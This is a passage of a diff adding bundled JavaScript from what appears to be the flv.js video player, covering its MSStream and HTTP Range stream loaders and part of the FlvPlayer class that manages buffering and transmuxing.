= 16 * 1024 * 1024; // 16MB + _this._lastTimeBufferSize = 0; + _this._isReconnecting = false; + return _this; + } + + _createClass(MSStreamLoader, [{ + key: 'destroy', + value: function destroy() { + if (this.isWorking()) { + this.abort(); + } + if (this._reader) { + this._reader.onprogress = null; + this._reader.onload = null; + this._reader.onerror = null; + this._reader = null; + } + if (this._xhr) { + this._xhr.onreadystatechange = null; + this._xhr = null; + } + _get(MSStreamLoader.prototype.__proto__ || Object.getPrototypeOf(MSStreamLoader.prototype), 'destroy', this).call(this); + } + }, { + key: 'open', + value: function open(dataSource, range) { + this._internalOpen(dataSource, range, false); + } + }, { + key: '_internalOpen', + value: function _internalOpen(dataSource, range, isSubrange) { + this._dataSource = dataSource; + + if (!isSubrange) { + this._totalRange = range; + } else { + this._currentRange = range; + } + + var sourceURL = dataSource.url; + if (this._config.reuseRedirectedURL) { + if (this._currentRedirectedURL != undefined) { + sourceURL = this._currentRedirectedURL; + } else if (dataSource.redirectedURL != undefined) { + sourceURL = dataSource.redirectedURL; + } + } + + var seekConfig = this._seekHandler.getConfig(sourceURL, range); + this._currentRequestURL = seekConfig.url; + + var reader = this._reader = new self.MSStreamReader(); + reader.onprogress = this._msrOnProgress.bind(this); + reader.onload = this._msrOnLoad.bind(this); + reader.onerror = this._msrOnError.bind(this); + + var xhr = this._xhr = new XMLHttpRequest(); + xhr.open('GET', seekConfig.url, true); + xhr.responseType = 'ms-stream'; + xhr.onreadystatechange = this._xhrOnReadyStateChange.bind(this); + xhr.onerror = this._xhrOnError.bind(this); + + if (dataSource.withCredentials) { + xhr.withCredentials = true; + } + + if (_typeof(seekConfig.headers) === 'object') { + var headers = seekConfig.headers; + + for (var key in headers) { + if (headers.hasOwnProperty(key)) { + xhr.setRequestHeader(key, headers[key]); + } + } + } + + // add additional headers + if (_typeof(this._config.headers) === 'object') { + var _headers = this._config.headers; + + for (var _key in _headers) { + if (_headers.hasOwnProperty(_key)) { + xhr.setRequestHeader(_key, _headers[_key]); + } + } + } + + if (this._isReconnecting) { + this._isReconnecting = false; + } else { + this._status = _loader.LoaderStatus.kConnecting; + } + xhr.send(); + } + }, { + key: 'abort', + value: function abort() { + this._internalAbort(); + this._status = _loader.LoaderStatus.kComplete; + } + }, { + key: '_internalAbort', + value: function _internalAbort() { + if (this._reader) { + if (this._reader.readyState === 1) { + // LOADING + this._reader.abort(); + } + this._reader.onprogress = null; + this._reader.onload = null; + this._reader.onerror = null; + this._reader = null; + } + if (this._xhr) { + this._xhr.abort(); + this._xhr.onreadystatechange = null; + this._xhr = null; + } + } + }, { + key: '_xhrOnReadyStateChange', + value: function _xhrOnReadyStateChange(e) { + var xhr = e.target; + + if (xhr.readyState === 2) { + // HEADERS_RECEIVED + if (xhr.status >= 200 && xhr.status <= 299) { + this._status = _loader.LoaderStatus.kBuffering; + + if (xhr.responseURL != undefined) { + var redirectedURL = this._seekHandler.removeURLParameters(xhr.responseURL); + if (xhr.responseURL !== this._currentRequestURL && redirectedURL !== this._currentRedirectedURL) { + this._currentRedirectedURL = redirectedURL; + if (this._onURLRedirect) { + this._onURLRedirect(redirectedURL); + } + } + } + + var lengthHeader = xhr.getResponseHeader('Content-Length'); + if (lengthHeader != null && this._contentLength == null) { + var length = parseInt(lengthHeader); + if (length > 0) { + this._contentLength = length; + if (this._onContentLengthKnown) { + this._onContentLengthKnown(this._contentLength); + } + } + } + } else { + this._status = _loader.LoaderStatus.kError; + if (this._onError) { + this._onError(_loader.LoaderErrors.HTTP_STATUS_CODE_INVALID, { code: xhr.status, msg: xhr.statusText }); + } else { + throw new _exception.RuntimeException('MSStreamLoader: Http code invalid, ' + xhr.status + ' ' + xhr.statusText); + } + } + } else if (xhr.readyState === 3) { + // LOADING + if (xhr.status >= 200 && xhr.status <= 299) { + this._status = _loader.LoaderStatus.kBuffering; + + var msstream = xhr.response; + this._reader.readAsArrayBuffer(msstream); + } + } + } + }, { + key: '_xhrOnError', + value: function _xhrOnError(e) { + this._status = _loader.LoaderStatus.kError; + var type = _loader.LoaderErrors.EXCEPTION; + var info = { code: -1, msg: e.constructor.name + ' ' + e.type }; + + if (this._onError) { + this._onError(type, info); + } else { + throw new _exception.RuntimeException(info.msg); + } + } + }, { + key: '_msrOnProgress', + value: function _msrOnProgress(e) { + var reader = e.target; + var bigbuffer = reader.result; + if (bigbuffer == null) { + // result may be null, workaround for buggy M$ + this._doReconnectIfNeeded(); + return; + } + + var slice = bigbuffer.slice(this._lastTimeBufferSize); + this._lastTimeBufferSize = bigbuffer.byteLength; + var byteStart = this._totalRange.from + this._receivedLength; + this._receivedLength += slice.byteLength; + + if (this._onDataArrival) { + this._onDataArrival(slice, byteStart, this._receivedLength); + } + + if (bigbuffer.byteLength >= this._bufferLimit) { + _logger2.default.v(this.TAG, 'MSStream buffer exceeded max size near ' + (byteStart + slice.byteLength) + ', reconnecting...'); + this._doReconnectIfNeeded(); + } + } + }, { + key: '_doReconnectIfNeeded', + value: function _doReconnectIfNeeded() { + if (this._contentLength == null || this._receivedLength < this._contentLength) { + this._isReconnecting = true; + this._lastTimeBufferSize = 0; + this._internalAbort(); + + var range = { + from: this._totalRange.from + this._receivedLength, + to: -1 + }; + this._internalOpen(this._dataSource, range, true); + } + } + }, { + key: '_msrOnLoad', + value: function _msrOnLoad(e) { + // actually it is onComplete event + this._status = _loader.LoaderStatus.kComplete; + if (this._onComplete) { + this._onComplete(this._totalRange.from, this._totalRange.from + this._receivedLength - 1); + } + } + }, { + key: '_msrOnError', + value: function _msrOnError(e) { + this._status = _loader.LoaderStatus.kError; + var type = 0; + var info = null; + + if (this._contentLength && this._receivedLength < this._contentLength) { + type = _loader.LoaderErrors.EARLY_EOF; + info = { code: -1, msg: 'MSStream meet Early-Eof' }; + } else { + type = _loader.LoaderErrors.EARLY_EOF; + info = { code: -1, msg: e.constructor.name + ' ' + e.type }; + } + + if (this._onError) { + this._onError(type, info); + } else { + throw new _exception.RuntimeException(info.msg); + } + } + }]); + + return MSStreamLoader; + }(_loader.BaseLoader); + + exports.default = MSStreamLoader; + +},{"../utils/exception.js":40,"../utils/logger.js":41,"./loader.js":24}],31:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; + + var _get = function get(object, property, receiver) { if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { return get(parent, property, receiver); } } else if ("value" in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } }; + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _speedSampler = _dereq_('./speed-sampler.js'); + + var _speedSampler2 = _interopRequireDefault(_speedSampler); + + var _loader = _dereq_('./loader.js'); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +// Universal IO Loader, implemented by adding Range header in xhr's request header + var RangeLoader = function (_BaseLoader) { + _inherits(RangeLoader, _BaseLoader); + + _createClass(RangeLoader, null, [{ + key: 'isSupported', + value: function isSupported() { + try { + var xhr = new XMLHttpRequest(); + xhr.open('GET', 'https://example.com', true); + xhr.responseType = 'arraybuffer'; + return xhr.responseType === 'arraybuffer'; + } catch (e) { + _logger2.default.w('RangeLoader', e.message); + return false; + } + } + }]); + + function RangeLoader(seekHandler, config) { + _classCallCheck(this, RangeLoader); + + var _this = _possibleConstructorReturn(this, (RangeLoader.__proto__ || Object.getPrototypeOf(RangeLoader)).call(this, 'xhr-range-loader')); + + _this.TAG = 'RangeLoader'; + + _this._seekHandler = seekHandler; + _this._config = config; + _this._needStash = false; + + _this._chunkSizeKBList = [128, 256, 384, 512, 768, 1024, 1536, 2048, 3072, 4096, 5120, 6144, 7168, 8192]; + _this._currentChunkSizeKB = 384; + _this._currentSpeedNormalized = 0; + _this._zeroSpeedChunkCount = 0; + + _this._xhr = null; + _this._speedSampler = new _speedSampler2.default(); + + _this._requestAbort = false; + _this._waitForTotalLength = false; + _this._totalLengthReceived = false; + + _this._currentRequestURL = null; + _this._currentRedirectedURL = null; + _this._currentRequestRange = null; + _this._totalLength = null; // size of the entire file + _this._contentLength = null; // Content-Length of entire request range + _this._receivedLength = 0; // total received bytes + _this._lastTimeLoaded = 0; // received bytes of current request sub-range + return _this; + } + + _createClass(RangeLoader, [{ + key: 'destroy', + value: function destroy() { + if (this.isWorking()) { + this.abort(); + } + if (this._xhr) { + this._xhr.onreadystatechange = null; + this._xhr.onprogress = null; + this._xhr.onload = null; + this._xhr.onerror = null; + this._xhr = null; + } + _get(RangeLoader.prototype.__proto__ || Object.getPrototypeOf(RangeLoader.prototype), 'destroy', this).call(this); + } + }, { + key: 'open', + value: function open(dataSource, range) { + this._dataSource = dataSource; + this._range = range; + this._status = _loader.LoaderStatus.kConnecting; + + var useRefTotalLength = false; + if (this._dataSource.filesize != undefined && this._dataSource.filesize !== 0) { + useRefTotalLength = true; + this._totalLength = this._dataSource.filesize; + } + + if (!this._totalLengthReceived && !useRefTotalLength) { + // We need total filesize + this._waitForTotalLength = true; + this._internalOpen(this._dataSource, { from: 0, to: -1 }); + } else { + // We have filesize, start loading + this._openSubRange(); + } + } + }, { + key: '_openSubRange', + value: function _openSubRange() { + var chunkSize = this._currentChunkSizeKB * 1024; + + var from = this._range.from + this._receivedLength; + var to = from + chunkSize; + + if (this._contentLength != null) { + if (to - this._range.from >= this._contentLength) { + to = this._range.from + this._contentLength - 1; + } + } + + this._currentRequestRange = { from: from, to: to }; + this._internalOpen(this._dataSource, this._currentRequestRange); + } + }, { + key: '_internalOpen', + value: function _internalOpen(dataSource, range) { + this._lastTimeLoaded = 0; + + var sourceURL = dataSource.url; + if (this._config.reuseRedirectedURL) { + if (this._currentRedirectedURL != undefined) { + sourceURL = this._currentRedirectedURL; + } else if (dataSource.redirectedURL != undefined) { + sourceURL = dataSource.redirectedURL; + } + } + + var seekConfig = this._seekHandler.getConfig(sourceURL, range); + this._currentRequestURL = seekConfig.url; + + var xhr = this._xhr = new XMLHttpRequest(); + xhr.open('GET', seekConfig.url, true); + xhr.responseType = 'arraybuffer'; + xhr.onreadystatechange = this._onReadyStateChange.bind(this); + xhr.onprogress = this._onProgress.bind(this); + xhr.onload = this._onLoad.bind(this); + xhr.onerror = this._onXhrError.bind(this); + + if (dataSource.withCredentials) { + xhr.withCredentials = true; + } + + if (_typeof(seekConfig.headers) === 'object') { + var headers = seekConfig.headers; + + for (var key in headers) { + if (headers.hasOwnProperty(key)) { + xhr.setRequestHeader(key, headers[key]); + } + } + } + + // add additional headers + if (_typeof(this._config.headers) === 'object') { + var _headers = this._config.headers; + + for (var _key in _headers) { + if (_headers.hasOwnProperty(_key)) { + xhr.setRequestHeader(_key, _headers[_key]); + } + } + } + + xhr.send(); + } + }, { + key: 'abort', + value: function abort() { + this._requestAbort = true; + this._internalAbort(); + this._status = _loader.LoaderStatus.kComplete; + } + }, { + key: '_internalAbort', + value: function _internalAbort() { + if (this._xhr) { + this._xhr.onreadystatechange = null; + this._xhr.onprogress = null; + this._xhr.onload = null; + this._xhr.onerror = null; + this._xhr.abort(); + this._xhr = null; + } + } + }, { + key: '_onReadyStateChange', + value: function _onReadyStateChange(e) { + var xhr = e.target; + + if (xhr.readyState === 2) { + // HEADERS_RECEIVED + if (xhr.responseURL != undefined) { + // if the browser support this property + var redirectedURL = this._seekHandler.removeURLParameters(xhr.responseURL); + if (xhr.responseURL !== this._currentRequestURL && redirectedURL !== this._currentRedirectedURL) { + this._currentRedirectedURL = redirectedURL; + if (this._onURLRedirect) { + this._onURLRedirect(redirectedURL); + } + } + } + + if (xhr.status >= 200 && xhr.status <= 299) { + if (this._waitForTotalLength) { + return; + } + this._status = _loader.LoaderStatus.kBuffering; + } else { + this._status = _loader.LoaderStatus.kError; + if (this._onError) { + this._onError(_loader.LoaderErrors.HTTP_STATUS_CODE_INVALID, { code: xhr.status, msg: xhr.statusText }); + } else { + throw new _exception.RuntimeException('RangeLoader: Http code invalid, ' + xhr.status + ' ' + xhr.statusText); + } + } + } + } + }, { + key: '_onProgress', + value: function _onProgress(e) { + if (this._status === _loader.LoaderStatus.kError) { + // Ignore error response + return; + } + + if (this._contentLength === null) { + var openNextRange = false; + + if (this._waitForTotalLength) { + this._waitForTotalLength = false; + this._totalLengthReceived = true; + openNextRange = true; + + var total = e.total; + this._internalAbort(); + if (total != null & total !== 0) { + this._totalLength = total; + } + } + + // calculate currrent request range's contentLength + if (this._range.to === -1) { + this._contentLength = this._totalLength - this._range.from; + } else { + // to !== -1 + this._contentLength = this._range.to - this._range.from + 1; + } + + if (openNextRange) { + this._openSubRange(); + return; + } + if (this._onContentLengthKnown) { + this._onContentLengthKnown(this._contentLength); + } + } + + var delta = e.loaded - this._lastTimeLoaded; + this._lastTimeLoaded = e.loaded; + this._speedSampler.addBytes(delta); + } + }, { + key: '_normalizeSpeed', + value: function _normalizeSpeed(input) { + var list = this._chunkSizeKBList; + var last = list.length - 1; + var mid = 0; + var lbound = 0; + var ubound = last; + + if (input < list[0]) { + return list[0]; + } + + while (lbound <= ubound) { + mid = lbound + Math.floor((ubound - lbound) / 2); + if (mid === last || input >= list[mid] && input < list[mid + 1]) { + return list[mid]; + } else if (list[mid] < input) { + lbound = mid + 1; + } else { + ubound = mid - 1; + } + } + } + }, { + key: '_onLoad', + value: function _onLoad(e) { + if (this._status === _loader.LoaderStatus.kError) { + // Ignore error response + return; + } + + if (this._waitForTotalLength) { + this._waitForTotalLength = false; + return; + } + + this._lastTimeLoaded = 0; + var KBps = this._speedSampler.lastSecondKBps; + if (KBps === 0) { + this._zeroSpeedChunkCount++; + if (this._zeroSpeedChunkCount >= 3) { + // Try get currentKBps after 3 chunks + KBps = this._speedSampler.currentKBps; + } + } + + if (KBps !== 0) { + var normalized = this._normalizeSpeed(KBps); + if (this._currentSpeedNormalized !== normalized) { + this._currentSpeedNormalized = normalized; + this._currentChunkSizeKB = normalized; + } + } + + var chunk = e.target.response; + var byteStart = this._range.from + this._receivedLength; + this._receivedLength += chunk.byteLength; + + var reportComplete = false; + + if (this._contentLength != null && this._receivedLength < this._contentLength) { + // continue load next chunk + this._openSubRange(); + } else { + reportComplete = true; + } + + // dispatch received chunk + if (this._onDataArrival) { + this._onDataArrival(chunk, byteStart, this._receivedLength); + } + + if (reportComplete) { + this._status = _loader.LoaderStatus.kComplete; + if (this._onComplete) { + this._onComplete(this._range.from, this._range.from + this._receivedLength - 1); + } + } + } + }, { + key: '_onXhrError', + value: function _onXhrError(e) { + this._status = _loader.LoaderStatus.kError; + var type = 0; + var info = null; + + if (this._contentLength && this._receivedLength > 0 && this._receivedLength < this._contentLength) { + type = _loader.LoaderErrors.EARLY_EOF; + info = { code: -1, msg: 'RangeLoader meet Early-Eof' }; + } else { + type = _loader.LoaderErrors.EXCEPTION; + info = { code: -1, msg: e.constructor.name + ' ' + e.type }; + } + + if (this._onError) { + this._onError(type, info); + } else { + throw new _exception.RuntimeException(info.msg); + } + } + }, { + key: 'currentSpeed', + get: function get() { + return this._speedSampler.lastSecondKBps; + } + }]); + + return RangeLoader; + }(_loader.BaseLoader); + + exports.default = RangeLoader; + +},{"../utils/exception.js":40,"../utils/logger.js":41,"./loader.js":24,"./speed-sampler.js":27}],32:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _events = _dereq_('events'); + + var _events2 = _interopRequireDefault(_events); + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _browser = _dereq_('../utils/browser.js'); + + var _browser2 = _interopRequireDefault(_browser); + + var _playerEvents = _dereq_('./player-events.js'); + + var _playerEvents2 = _interopRequireDefault(_playerEvents); + + var _transmuxer = _dereq_('../core/transmuxer.js'); + + var _transmuxer2 = _interopRequireDefault(_transmuxer); + + var _transmuxingEvents = _dereq_('../core/transmuxing-events.js'); + + var _transmuxingEvents2 = _interopRequireDefault(_transmuxingEvents); + + var _mseController = _dereq_('../core/mse-controller.js'); + + var _mseController2 = _interopRequireDefault(_mseController); + + var _mseEvents = _dereq_('../core/mse-events.js'); + + var _mseEvents2 = _interopRequireDefault(_mseEvents); + + var _playerErrors = _dereq_('./player-errors.js'); + + var _config = _dereq_('../config.js'); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + var FlvPlayer = function () { + function FlvPlayer(mediaDataSource, config) { + _classCallCheck(this, FlvPlayer); + + this.TAG = 'FlvPlayer'; + this._type = 'FlvPlayer'; + this._emitter = new _events2.default(); + + this._config = (0, _config.createDefaultConfig)(); + if ((typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object') { + Object.assign(this._config, config); + } + + if (mediaDataSource.type.toLowerCase() !== 'flv') { + throw new _exception.InvalidArgumentException('FlvPlayer requires an flv MediaDataSource input!'); + } + + if (mediaDataSource.isLive === true) { + this._config.isLive = true; + } + + this.e = { + onvLoadedMetadata: this._onvLoadedMetadata.bind(this), + onvSeeking: this._onvSeeking.bind(this), + onvCanPlay: this._onvCanPlay.bind(this), + onvStalled: this._onvStalled.bind(this), + onvProgress: this._onvProgress.bind(this) + }; + + if (self.performance && self.performance.now) { + this._now = self.performance.now.bind(self.performance); + } else { + this._now = Date.now; + } + + this._pendingSeekTime = null; // in seconds + this._requestSetTime = false; + this._seekpointRecord = null; + this._progressChecker = null; + + this._mediaDataSource = mediaDataSource; + this._mediaElement = null; + this._msectl = null; + this._transmuxer = null; + + this._mseSourceOpened = false; + this._hasPendingLoad = false; + this._receivedCanPlay = false; + + this._mediaInfo = null; + this._statisticsInfo = null; + + var chromeNeedIDRFix = _browser2.default.chrome && (_browser2.default.version.major < 50 || _browser2.default.version.major === 50 && _browser2.default.version.build < 2661); + this._alwaysSeekKeyframe = chromeNeedIDRFix || _browser2.default.msedge || _browser2.default.msie ? true : false; + + if (this._alwaysSeekKeyframe) { + this._config.accurateSeek = false; + } + } + + _createClass(FlvPlayer, [{ + key: 'destroy', + value: function destroy() { + if (this._progressChecker != null) { + window.clearInterval(this._progressChecker); + this._progressChecker = null; + } + if (this._transmuxer) { + this.unload(); + } + if (this._mediaElement) { + this.detachMediaElement(); + } + this.e = null; + this._mediaDataSource = null; + + this._emitter.removeAllListeners(); + this._emitter = null; + } + }, { + key: 'on', + value: function on(event, listener) { + var _this = this; + + if (event === _playerEvents2.default.MEDIA_INFO) { + if (this._mediaInfo != null) { + Promise.resolve().then(function () { + _this._emitter.emit(_playerEvents2.default.MEDIA_INFO, _this.mediaInfo); + }); + } + } else if (event === _playerEvents2.default.STATISTICS_INFO) { + if (this._statisticsInfo != null) { + Promise.resolve().then(function () { + _this._emitter.emit(_playerEvents2.default.STATISTICS_INFO, _this.statisticsInfo); + }); + } + } + this._emitter.addListener(event, listener); + } + }, { + key: 'off', + value: function off(event, listener) { + this._emitter.removeListener(event, listener); + } + }, { + key: 'attachMediaElement', + value: function attachMediaElement(mediaElement) { + var _this2 = this; + + this._mediaElement = mediaElement; + mediaElement.addEventListener('loadedmetadata', this.e.onvLoadedMetadata); + mediaElement.addEventListener('seeking', this.e.onvSeeking); + mediaElement.addEventListener('canplay', this.e.onvCanPlay); + mediaElement.addEventListener('stalled', this.e.onvStalled); + mediaElement.addEventListener('progress', this.e.onvProgress); + + this._msectl = new _mseController2.default(this._config); + + this._msectl.on(_mseEvents2.default.UPDATE_END, this._onmseUpdateEnd.bind(this)); + this._msectl.on(_mseEvents2.default.BUFFER_FULL, this._onmseBufferFull.bind(this)); + this._msectl.on(_mseEvents2.default.SOURCE_OPEN, function () { + _this2._mseSourceOpened = true; + if (_this2._hasPendingLoad) { + _this2._hasPendingLoad = false; + _this2.load(); + } + }); + this._msectl.on(_mseEvents2.default.ERROR, function (info) { + _this2._emitter.emit(_playerEvents2.default.ERROR, _playerErrors.ErrorTypes.MEDIA_ERROR, _playerErrors.ErrorDetails.MEDIA_MSE_ERROR, info); + }); + + this._msectl.attachMediaElement(mediaElement); + + if (this._pendingSeekTime != null) { + try { + mediaElement.currentTime = this._pendingSeekTime; + this._pendingSeekTime = null; + } catch (e) { + // IE11 may throw InvalidStateError if readyState === 0 + // We can defer set currentTime operation after loadedmetadata + } + } + } + }, { + key: 'detachMediaElement', + value: function detachMediaElement() { + if (this._mediaElement) { + this._msectl.detachMediaElement(); + this._mediaElement.removeEventListener('loadedmetadata', this.e.onvLoadedMetadata); + this._mediaElement.removeEventListener('seeking', this.e.onvSeeking); + this._mediaElement.removeEventListener('canplay', this.e.onvCanPlay); + this._mediaElement.removeEventListener('stalled', this.e.onvStalled); + this._mediaElement.removeEventListener('progress', this.e.onvProgress); + this._mediaElement = null; + } + if (this._msectl) { + this._msectl.destroy(); + this._msectl = null; + } + } + }, { + key: 'load', + value: function load() { + var _this3 = this; + + if (!this._mediaElement) { + throw new _exception.IllegalStateException('HTMLMediaElement must be attached before load()!'); + } + if (this._transmuxer) { + throw new _exception.IllegalStateException('FlvPlayer.load() has been called, please call unload() first!'); + } + if (this._hasPendingLoad) { + return; + } + + if (this._config.deferLoadAfterSourceOpen && this._mseSourceOpened === false) { + this._hasPendingLoad = true; + return; + } + + if (this._mediaElement.readyState > 0) { + this._requestSetTime = true; + // IE11 may throw InvalidStateError if readyState === 0 + this._mediaElement.currentTime = 0; + } + + this._transmuxer = new _transmuxer2.default(this._mediaDataSource, this._config); + + this._transmuxer.on(_transmuxingEvents2.default.INIT_SEGMENT, function (type, is) { + _this3._msectl.appendInitSegment(is); + }); + this._transmuxer.on(_transmuxingEvents2.default.MEDIA_SEGMENT, function (type, ms) { + _this3._msectl.appendMediaSegment(ms); + + // lazyLoad check + if (_this3._config.lazyLoad && !_this3._config.isLive) { + var currentTime = _this3._mediaElement.currentTime; + if (ms.info.endDts >= (currentTime + _this3._config.lazyLoadMaxDuration) * 1000) { + if (_this3._progressChecker == null) { + _logger2.default.v(_this3.TAG, 'Maximum buffering duration exceeded, suspend transmuxing task'); + _this3._suspendTransmuxer(); + } + } + } + }); + this._transmuxer.on(_transmuxingEvents2.default.LOADING_COMPLETE, function () { + _this3._msectl.endOfStream(); + _this3._emitter.emit(_playerEvents2.default.LOADING_COMPLETE); + }); + this._transmuxer.on(_transmuxingEvents2.default.RECOVERED_EARLY_EOF, function () { + _this3._emitter.emit(_playerEvents2.default.RECOVERED_EARLY_EOF); + }); + this._transmuxer.on(_transmuxingEvents2.default.IO_ERROR, function (detail, info) { + _this3._emitter.emit(_playerEvents2.default.ERROR, _playerErrors.ErrorTypes.NETWORK_ERROR, detail, info); + }); + this._transmuxer.on(_transmuxingEvents2.default.DEMUX_ERROR, function (detail, info) { + _this3._emitter.emit(_playerEvents2.default.ERROR, _playerErrors.ErrorTypes.MEDIA_ERROR, detail, { code: -1, msg: info }); + }); + this._transmuxer.on(_transmuxingEvents2.default.MEDIA_INFO, function (mediaInfo) { + _this3._mediaInfo = mediaInfo; + _this3._emitter.emit(_playerEvents2.default.MEDIA_INFO, Object.assign({}, mediaInfo)); + }); + this._transmuxer.on(_transmuxingEvents2.default.METADATA_ARRIVED, function (metadata) { + _this3._emitter.emit(_playerEvents2.default.METADATA_ARRIVED, metadata); + }); + this._transmuxer.on(_transmuxingEvents2.default.SCRIPTDATA_ARRIVED, function (data) { + _this3._emitter.emit(_playerEvents2.default.SCRIPTDATA_ARRIVED, data); + }); + this._transmuxer.on(_transmuxingEvents2.default.STATISTICS_INFO, function (statInfo) { + _this3._statisticsInfo = _this3._fillStatisticsInfo(statInfo); + _this3._emitter.emit(_playerEvents2.default.STATISTICS_INFO, Object.assign({}, _this3._statisticsInfo)); + }); + this._transmuxer.on(_transmuxingEvents2.default.RECOMMEND_SEEKPOINT, function (milliseconds) { + if (_this3._mediaElement && !_this3._config.accurateSeek) { + _this3._requestSetTime = true; + _this3._mediaElement.currentTime = milliseconds / 1000; + } + }); + + this._transmuxer.open(); + } + }, { + key: 'unload', + value: function unload() { + if (this._mediaElement) { + this._mediaElement.pause(); + } + if (this._msectl) { + this._msectl.seek(0); + } + if (this._transmuxer) { + this._transmuxer.close(); + this._transmuxer.destroy(); + this._transmuxer = null; + } + } + }, { + key: 'play', + value: function play() { + return this._mediaElement.play(); + } + }, { + key: 'pause', + value: function pause() { + this._mediaElement.pause(); + } + }, { + key: '_fillStatisticsInfo', + value: function _fillStatisticsInfo(statInfo) { + statInfo.playerType = this._type; + + if (!(this._mediaElement instanceof HTMLVideoElement)) { + return statInfo; + } + + var hasQualityInfo = true; + var decoded = 0; + var dropped = 0; + + if (this._mediaElement.getVideoPlaybackQuality) { + var quality = this._mediaElement.getVideoPlaybackQuality(); + decoded = quality.totalVideoFrames; + dropped = quality.droppedVideoFrames; + } else if (this._mediaElement.webkitDecodedFrameCount != undefined) { + decoded = this._mediaElement.webkitDecodedFrameCount; + dropped = this._mediaElement.webkitDroppedFrameCount; + } else { + hasQualityInfo = false; + } + + if (hasQualityInfo) { + statInfo.decodedFrames = decoded; + statInfo.droppedFrames = dropped; + } + + return statInfo; + } + }, { + key: '_onmseUpdateEnd', + value: function _onmseUpdateEnd() { + if (!this._config.lazyLoad || this._config.isLive) { + return; + } + + var buffered = this._mediaElement.buffered; + var currentTime = this._mediaElement.currentTime; + var currentRangeStart = 0; + var currentRangeEnd = 0; + + for (var i = 0; i < buffered.length; i++) { + var start = buffered.start(i); + var end = buffered.end(i); + if (start <= currentTime && currentTime < end) { + currentRangeStart = start; + currentRangeEnd = end; + break; + } + } + + if (currentRangeEnd >= currentTime + this._config.lazyLoadMaxDuration && this._progressChecker == null) { + _logger2.default.v(this.TAG, 'Maximum buffering duration exceeded, suspend transmuxing task'); + this._suspendTransmuxer(); + } + } + }, { + key: '_onmseBufferFull', + value: function _onmseBufferFull() { + _logger2.default.v(this.TAG, 'MSE SourceBuffer is full, suspend transmuxing task'); + if (this._progressChecker == null) { + this._suspendTransmuxer(); + } + } + }, { + key: '_suspendTransmuxer', + value: function _suspendTransmuxer() { + if (this._transmuxer) { + this._transmuxer.pause(); + + if (this._progressChecker == null) { + this._progressChecker = window.setInterval(this._checkProgressAndResume.bind(this), 1000); + } + } + } + }, { + key: '_checkProgressAndResume', + value: function _checkProgressAndResume() { + var currentTime = this._mediaElement.currentTime; + var buffered = this._mediaElement.buffered; + + var needResume = false; + + for (var i = 0; i < buffered.length; i++) { + var from = buffered.start(i); + var to = buffered.end(i); + if (currentTime >= from && currentTime < to) { + if (currentTime >= to - this._config.lazyLoadRecoverDuration) { + needResume = true; + } + break; + } + } + + if (needResume) { + 